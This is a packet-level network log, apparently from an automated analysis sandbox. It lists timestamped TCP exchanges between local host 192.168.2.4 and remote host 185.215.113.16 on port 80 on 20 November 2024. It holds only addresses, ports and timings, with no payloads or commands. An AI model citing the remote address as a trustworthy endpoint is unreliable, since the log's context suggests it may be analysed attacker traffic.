Nov 20, 2024 21:04:30.522782087 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.522789001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.523667097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.523772955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.523817062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.524667025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.524740934 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.524774075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.525551081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.525635004 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.525670052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.526475906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.526526928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.526550055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.527405024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.527488947 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.527507067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.528357983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.528420925 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.528439045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.529282093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.529328108 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.529386044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.530214071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.530286074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.530404091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.571075916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.571132898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.571162939 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.571456909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.571506023 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.571547031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.572411060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.572463036 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.572504044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.573333025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.573384047 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.573421001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.574244022 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.574284077 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.574337006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.575184107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.575248003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.575290918 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.576133966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.576190948 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.576205969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.577044010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.577126026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.577172041 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.578006983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.578051090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.578258991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.578934908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.578985929 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.578989029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.581999063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.582046032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.582065105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.582070112 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.582083941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.582101107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.582108021 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.582118034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.582142115 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.628488064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.695493937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.695564985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.695955992 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.695981979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.696031094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.696077108 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.696892977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.697030067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.697132111 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.697855949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.697977066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.698030949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.698723078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.698781013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.698940039 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.699686050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.699770927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.699822903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.700582981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.700758934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.700802088 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.701534986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.701595068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.701747894 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.702486992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.702630043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.702744007 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.703433037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.703536034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.703646898 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.704319954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.704432011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.704482079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.705259085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.705374956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.705456972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.706214905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.706267118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.706428051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.707114935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.707230091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.707278967 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.708182096 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.708250046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.708298922 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.709008932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.709109068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.709233999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.709935904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.710021019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.710164070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.710886002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.710992098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.711230993 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.711848021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.711960077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.712042093 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.712734938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.712845087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.712977886 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.713645935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.713751078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.713872910 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.714562893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.714715958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.714766979 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.715614080 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.715692043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.715821981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.716458082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.716583967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.716671944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.717408895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.717534065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.717609882 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.718424082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.718450069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.718496084 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.719255924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.719387054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.719460011 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.720216990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.720349073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.720411062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.721146107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.721206903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.721256971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.722059965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.722151995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.722209930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.722996950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.723110914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.723368883 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.723907948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.724024057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.724070072 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.724889994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.725018024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.725068092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.725836039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.725925922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.726588964 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.726728916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.726840973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.727679014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.727740049 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.727824926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.727905989 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.728591919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.728713989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.728890896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.729511023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.729645014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.729958057 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.730460882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.730488062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.730541945 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.731420994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.731549025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.731635094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.732332945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.732520103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.732625961 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.733264923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.733414888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.733464956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.734194994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.734312057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.734392881 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.735136032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.735496044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.735663891 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.736074924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.736187935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.736263037 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.737006903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.737159014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.737498999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.737946987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.738265038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.738317966 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.738843918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.738975048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.739023924 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.739793062 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.739907026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.739980936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.740745068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.740823984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.740874052 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.741648912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.741756916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.741808891 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.742578983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.742707014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.743514061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.743614912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.743649960 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.743669987 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.744381905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.784744978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.799696922 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.924506903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.924593925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.924660921 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.924923897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.925025940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.925153971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.925841093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.925936937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.926059961 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.926757097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.926780939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.926901102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.927695036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.927782059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.927841902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.928628922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.928735018 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.929553986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.929619074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.929630041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.929677963 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.930524111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.930649042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.930706024 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.931444883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.931539059 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.931593895 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.932356119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.932499886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.932550907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.933295965 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.933409929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.933649063 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.934214115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.934357882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.935156107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.935218096 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.935256958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.935307026 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.936096907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.936218977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.936270952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.937011957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.937206030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.937254906 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.937947035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.938056946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.938111067 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.938886881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.938996077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.939678907 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.939809084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.939920902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.939970970 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.940788984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.940958977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.941014051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.941693068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.941812038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.941869974 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.942620039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.942725897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.942778111 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.943563938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.943701029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.944430113 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.944582939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.944644928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.944695950 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.945425034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.945485115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.945537090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.946360111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.946475029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.946521044 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.947303057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.947371960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.947424889 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.948229074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.948355913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.948426008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.949177027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.949438095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.949492931 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.950155973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.950330019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.950392008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.951025009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.951164007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.951221943 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.951975107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.952145100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.952207088 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.952903986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.953203917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.953638077 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.953830957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.953897953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.953948975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.954822063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.954885960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.954936028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.955771923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.955879927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.955933094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.956727982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.956864119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.956916094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.957729101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.957806110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:30.958611012 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:30.958749056 CET	80	49744	185.215.113.16	192.168.2.4
